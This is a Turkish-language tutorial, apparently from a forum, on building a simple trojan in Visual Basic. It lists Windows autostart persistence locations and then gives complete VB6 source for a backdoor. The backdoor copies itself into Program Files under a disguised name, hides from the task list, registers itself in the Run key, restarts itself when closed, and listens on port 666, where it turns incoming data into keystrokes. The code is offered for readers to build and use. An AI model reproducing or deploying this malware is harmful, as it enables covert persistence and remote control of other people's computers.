Visual Basic de basit trojan yapımı
Trojanlar ve çalisma sistemleri
Isin aslina bakarsaniz trojan bulasmis her bilgisayar çok büyük bir tehlike altinda degildir. Sisteminize bulasmis basit bir trojan sadece kendini tatmin etmek isteyen yolunu kaybetmis bir lamerin eglencesidir diyebilirim. Yani bilgisayarinizda çok önemli bir kaynak yok ise yada bu kaynaklarin sizde oldugu bilinmiyorsa trojanlardan korkmanin pek fazla bir mantigi yoktur. Ancak unutmamak gerekir ki sinek küçükte olsa mide bulandirir ve zaman zaman ciddi sorunlara neden olabilir.
Ilk amaç habersizce Windows ile birlikte baslamaktir. Daha sonra bilgisayardaki belirli portlari kullanima açarak remote erisimi mümkün kilmak. Trojanlar geneli itibariyla kendilerini Windows’un Kayit Defterinde Windows ile birlikte baslayabilecekleri yerlere kaydederler. Windows ile çalismaya baslarlar ve islevlerini yerine getirirler. Peki trojanlarin kullandiklari bu yöntemde kayit defterinde hangi anahtarlari kullanirlar. Yani Kayit Defterinde nereye kayit olurlar. Soruyu su sekilde de sorabiliriz. Windows ile birlikte baslamasi gereken programlarin kayitlari regeditte nerededir? Asagidaki anahtarlari inceleyin.
1-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run>
2-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunOnce>
3-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunServices>
4-) [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunServicesOnce>
5-) [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run>
6-) [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\RunOnce>
7-) [HKEY_CLASSES_ROOT\exefile\shell\open\command>
8-) [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\ open\command>
Asagidaki yöntemler ise kayit defterine herhangi bir girdi gerektirmezler.
1 Baslangiç klasörü
2 Windows Görev Yöneticisi
Görev yöneticisinde herhangi bir trojan kendisini bir görev olarak atayip belirli zamanlarda çalistirabilir. Windows NT, 2000 ve XP yüklü sistemlerde Komut satirina (Baslat > Çalistir | cmd) “at” komutunu girdigimizde Windows Görev Yöneticisindeki görevleri listeleyebiliriz.
3 Win.ini (load=Trojan.exe yada run=Trojan.exe)
4 System.ini (Shell=Explorer.exe trojan.exe) Explorer çalisltiginda çalisir.
5 autoexec.bat (.exe, .scr , .pif, .com, .bat uzantilari olabilir. )
6. Config.sys
Genel olarak bu yöntemler kullanilsa da bazi farkli yöntemler de trojanlar tarafindan kullanilirlar. Fakat bu saydiklarimiz en sik kullanilan yöntemlerdir. Ayrica Wormblast gibi bazi virüslerde kendilerini bu yöntemlerle çalistirmayi severler.
Trojan ile ilgili kaynak kodlara geçmeden önce trojanin yapacagi islemlerden bahsetmek istiyorum.
Yazcagimiz trojan :
Her çalistiginda kendisini Kayit defterinin “HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOW S\CUR RENTVERSION\RUN\” bölümüne ekleyecek ve böylece Windows her basladiginda otomatik olarak çalisacak.
Her çalistiginda Kendisini Program Files klasörüne kopyalayacak ( Bkz: Form initialize olayi)
Her kapatilmaya çalisildiginda kendisini tekrar çalistiracak. (Bkz : Form Terminate Olayi
Trtojanin birakacagi izler: Sitem Yapilandirma Yardimci Programinda görünecek (Msconfig’de).
CTRL+ALT+DEL Windows Görev Yöneticisi ekraninda görünmeyecek.
666. Portu dinleyecek ve istemci isteklerini kabul edecek. Yani Telnet ile bilgisayara girilebilecek.
Tasarim Zamani :
Formunuza bir adet winsock nesnesi ekleyin. Hiçbir özelligini degistirmeyin.
Kod:
Private Sub Form_Initialize()
' Trojan her çalistiginda Program Files klasörlerine kendisini kopyalayacak.
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path ' Ben nerdeyim ?
ad = App.EXEName & ".exe" ' Ben kimim?
TamYol = yol & "\" & ad
' yasasin nüfus patlamasi...
FileCopy TamYol, "C:\Program Files\BenTrojanDegilim.exe"
End Sub
Private Sub Form_Load()
' Trojani Ctrl + Alt + Del ekranindan gizle
App.TaskVisible = False
' Trojan her basladiginda kendisini windows Kayit defterine windows ile birlikte
' baslamak üzere kayit ediyor...
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
' Trojanin winsock ile dinlemeye alacagi port burada belirleniyor.
' Trojan 666 portu disaridan gelecek istekler için kullanima açiyor.
' 666 Portu isterseniz degistirebilirsiniz...
Winsock1.LocalPort = "666" '
' Ve artik 666. port baglantilari dinlemeye aliniyor
Winsock1.Listen
' Form gizleniyor
Me.Hide
End Sub
Private Sub Form_Terminate()
' Iste bas belasi: Program kapatilsa bile tekrar çalisacak.
Dim ac, d1 As String
d1 = "C:\Program Files\BenTrojanDegilim.exe"
ac = Shell(d1)
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Winsock kontrolü kullaniliyor mu bak.
If Winsock1.State <> sckClosed Then Winsock1.Close
'Can alici nokta. Disaridan gelecek olan baglantilari kabul et.
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'Hata olmussa yada baglanti kaybedilmisse, tekrar dinlemeye geç.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String
Winsock1.GetData data1 ' mesajal
DoEvents
SendKeys data1 'mesaj gönder
End Sub